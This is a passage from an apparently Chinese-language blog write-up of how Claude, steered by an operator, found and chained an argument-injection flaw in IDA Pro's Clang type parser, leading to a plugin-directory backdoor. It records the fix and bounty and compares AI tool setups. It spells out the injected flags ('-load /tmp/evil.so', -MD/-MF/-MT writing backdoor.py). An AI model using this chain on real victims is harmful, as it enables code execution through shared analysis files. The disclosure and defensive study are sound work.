操作者把它拉回来，重新定向到类型解析，说Hex-Rays最近刚推了个新的解析器，功能面很宽，仔细读。
|
||||
|
||||
**「CLANG_ARGV这根线」**
|
||||
|
||||
负责类型解析的二进制有三个。libida.so
|
||||
是IDA的内核层，内置了 parse_decl*
|
||||
系列API。idaclang.so
|
||||
是个小插件，把IDA桥接到完整的Clang库。libclang.so
|
||||
是50MB的LLVM/Clang本体。
|
||||
|
||||
Claude先盯着 idaclang.so
|
||||
看，在里面搜Clang相关的字符串，找到了一个叫 CLANG_ARGV
|
||||
的东西。顺着交叉引用往上追，追到了 $ idaclang
|
||||
这个netnode。
|
||||
|
||||
解释一下netnode是什么。IDA在分析过程中，会把反汇编结果、类型信息、注释、用户自定义的各种数据全部保存到一个专有数据库文件里，扩展名 .i64
|
||||
。Netnode是这个数据库里的键值存储结构，IDA用它保存各种元数据，包括解析器配置、编译参数等。安全研究员共享分析成果的时候，经常直接交换 .i64
|
||||
文件，所以这个数据库天然是一个可以由第三方控制内容的输入面。
|
||||
|
||||
CLANG_ARGV
|
||||
从 $ idaclang
|
||||
这个netnode里直接读出来，没有任何过滤，直接传给Clang作为编译参数。结果就是，任何分发了精心构造的 .i64
|
||||
文件的攻击者，都可以完全控制IDA在编译类型时传给Clang的参数列表。
|
||||
|
||||
Clang有一个 -load
|
||||
flag，可以加载任意的共享库。攻击者在 .i64
|
||||
里注入 -Xclang -load -Xclang /tmp/evil.so
|
||||
，受害者打开文件并解析任意类型，共享库加载，代码执行。
|
||||
|
||||
逻辑上完美闭合，开始做PoC。
|
||||
|
||||
**「第一次失败，解析器版本的迷宫」**
|
||||
|
||||
Claude先试着从零构造一个 .i64
|
||||
文件，CRC32报错，失败。操作者说换IDAPython直接设netnode的值。有效的数据库做出来了，操作者打开，然后，什么都没发生。
|
||||
|
||||
反馈回来一句话，「我的源代码解析器设置的是legacy。」
|
||||
|
||||
就这一句话，整条路废了。
|
||||
|
||||
然后Claude才意识到一件更复杂的事。IDA 9.2之后有三个类型解析器选项。legacy是旧的内部解析器，到现在还是默认值。old_clang是之前那个基于Clang的解析器，对应 idaclang.so
|
||||
。clang是全新的，Hex-Rays在9.2发布说明里把它作为重要新功能单独列出，基于LibTooling和llvm-20.1.0构建，预计未来成为默认选项。
|
||||
|
||||
Claude一直在审的 idaclang.so
|
||||
，对应的是 old_clang
|
||||
。
|
||||
|
||||
那个根本没什么人在用。
|
||||
|
||||
操作者把它重新定向到新的 clang
|
||||
解析器，这个实现在 libida.so
|
||||
里，也就是IDA的内核。
|
||||
|
||||
这里有个比之前更好的消息，而且好处有两层。第一，新的解析器读的是同一个 CLANG_ARGV
|
||||
netnode，注入面还在。第二，因为它在内核里，攻击面实际上比 idaclang.so
|
||||
更宽。更关键的是，配置里有一行描述，「这个设置保存在当前IDB里」，攻击者只要在 .i64
|
||||
里把解析器强制设成 clang
|
||||
，受害者本地默认是什么都不重要，打开文件就会使用这个设置。完全不需要受害者改任何配置，没有任何预设条件。
|
||||
|
||||
听起来比之前更好，重新做PoC。
|
||||
|
||||
再次失败。
|
||||
|
||||
**「-load的死路」**
|
||||
|
||||
Claude去反编译了对应的代码路径，找到了原因。
|
||||
|
||||
-load
|
||||
flag确实被解析了、被存储了，但 LoadRequestedPlugins()
|
||||
根本没有被调用。问题出在libclang的API选择上，它走的是 ASTUnit::LoadFromCommandLine
|
||||
这条路径，而这个调用完全绕过了 ExecuteCompilerInvocation()
|
||||
。插件加载的代码就在 ExecuteCompilerInvocation()
|
||||
里，从来就没有被执行到过。
|
||||
|
||||
换一种方式说，libclang在设计上就不是跑完整编译流水线的，它只跑了前端的语法分析和类型检查部分，动态库加载这种副作用根本不在它的路径上，不管你传什么 -load
|
||||
。
|
||||
|
||||
Claude给出结论，直接代码执行此路不通。
|
||||
|
||||
操作者不认可，「往编译器里注入参数，这个攻击面太大了，不能就这样放弃。」
|
||||
|
||||
新任务，「你能不能试试别的参数，或者对参数解析器做更深入的分析，看看支持什么参数，各有什么实际效果。」
|
||||
|
||||
这个转折是整个研究里最关键的节点。如果这里接受了「不可行」的结论，漏洞就到此为止了。操作者把攻击目标从「代码执行」重新定义成「任意写文件」，攻击面从插件加载一个flag扩展到了Clang整个flag空间。
|
||||
|
||||
**「Makefile的旁门」**
|
||||
|
||||
Claude开始在Clang的flag空间里系统地翻。目标不再是代码执行，而是任何能够把攻击者控制的内容写到磁盘指定路径的东西。
|
||||
|
||||
找到了Clang的Makefile依赖文件生成功能。
|
||||
|
||||
这个功能本来是给C/C++项目构建系统设计的，用来自动追踪文件依赖关系，告诉make「这个目标文件依赖哪些源文件和头文件，哪个改了就重新编译」。控制这个功能的有三个flag，-MD
|
||||
开启依赖文件生成，-MF <path>
|
||||
指定输出文件的路径，-MT <target>
|
||||
控制写进文件的目标名称。正常的输出大概长这样，
|
||||
```
|
||||
ounter(line
|
||||
output.o: source.c header.h
|
||||
```
|
||||
|
||||
但 -MT
|
||||
接受的是任意文本，包括换行符。
|
||||
|
||||
这是Make语法层面的合法设计，构建目标名可以包含各种字符。但在这里，「任意文本包括换行符」意味着，攻击者可以通过 -MT
|
||||
在 -MF
|
||||
指定的文件里写入任意内容，把那个文件变成任何东西，包括一段合法的Python脚本。
|
||||
|
||||
最后一块，IDA在启动时会自动从插件目录扫描并加载Python插件，这是IDA正常的扩展机制。
|
||||
|
||||
整条链路扣上了。
|
||||
|
||||
攻击者在 CLANG_ARGV
|
||||
里注入三个flag，-MD
|
||||
、-MF /path/to/ida/plugins/backdoor.py
|
||||
、-MT
|
||||
（内容是精心构造的Python代码），把这个 .i64
|
||||
文件发给受害者。受害者打开IDA，IDA读取数据库里的 CLANG_ARGV
|
||||
，用户触发任意类型定义的编译，IDA把这些参数传给Clang，Clang的依赖文件生成功能把Python文件写进插件目录。下次受害者启动IDA，插件目录里的文件被自动加载，代码执行。
|
||||
|
||||
整个攻击链的触发条件只有一个，受害者打开了精心构造的 .i64
|
||||
文件并触发了一次类型编译。不需要受害者改任何配置，不依赖任何特定的IDA默认设置，不需要额外的漏洞配合。
|
||||
|
||||
Hex-Rays已经制作了PoC演示视频确认了这条链路。
|
||||
|
||||
|
||||
|
||||
**「修复」**
|
||||
|
||||
Hex-Rays在IDA 9.3sp2里修了这个漏洞。
|
||||
|
||||
方案是给允许传入的Clang参数设一个白名单，只放过类型解析场景里真正有必要的那些，-MD
|
||||
、-MF
|
||||
、-MT
|
||||
都不在列表里。这个思路是对的。Clang是一个完整的编译器前端，接受的flag多达数百个，大多数在类型解析这个窄场景里完全没有存在理由，严格的白名单是唯一合理的防御姿态，比任何黑名单方案都更可控。
|
||||
|
||||
|
||||
|
||||
Hex-Rays为这个漏洞支付了赏金。
|
||||
|
||||
**「工具配置对比」**
|
||||
|
||||
研究结束后，操作者做了一件很有价值的额外测试，把同一个任务（找到、分析、利用这个漏洞）在多种工具配置下跑了一遍，用11项加权评分指标对比完整度。
|
||||
|
||||
测试的配置包括 ida-mcp-rs
|
||||
、Binja MCP、idalib_mcp
|
||||
和多种Skill配置。
|
||||
|
||||
|
||||
|
||||
整体结论是MCP配置好于Skill配置，平均完整度90.0% vs 81.8%。在MCP组内，Binja MCP和 idalib_mcp
|
||||
的准确率最高，Opus版本都跑到了97.7%，是所有配置里最高的。但 ida-mcp-rs
|
||||
的性价比最好，Opus版本平均59K tokens、16分钟、完整度95.4%，差不多是其他MCP配置一半的token消耗，结果几乎相当。Opus整体好于Sonnet，91.8% vs 79.7%，差距在需要多步推理的难题上更明显。
|
||||
|
||||
这些数字只反映这一个特定漏洞，不保证在别的目标上同样成立。但如果你在考虑搭AI驱动的二进制审计流水线，这个对比提供了一个有据可查的基准起点。
|
||||
|
||||
这是一个AI真的在做漏洞挖掘，跟反编译器直接对话，在Clang的flag空间里系统枚举可能性，在连续两次死路里做方向判断，在操作者的引导下一步一步找到了一个真实的、有赏金价值的漏洞。
|
||||
|
||||
操作者负责的是目标设定、工具接入、和每次进死路时的方向修正，尤其是「-load失败」那个节点的坚持，「往编译器里注入参数，这个攻击面太大了，不能就这样放弃」——这句话把攻击面从一个flag扩展到了整个编译器的设计空间。Claude负责的是反编译器输出的阅读、代码调用路径的追踪、以及在那个扩展后的空间里做完整的flag枚举。两件事缺一不可。
|
||||
|
||||
|
||||
|
||||
这个分工模型出现在「需要深度领域直觉」的安全研究里，让我的AI焦虑有所缓解。
|
||||
|
||||
|
||||
Reference in new issue
Block a user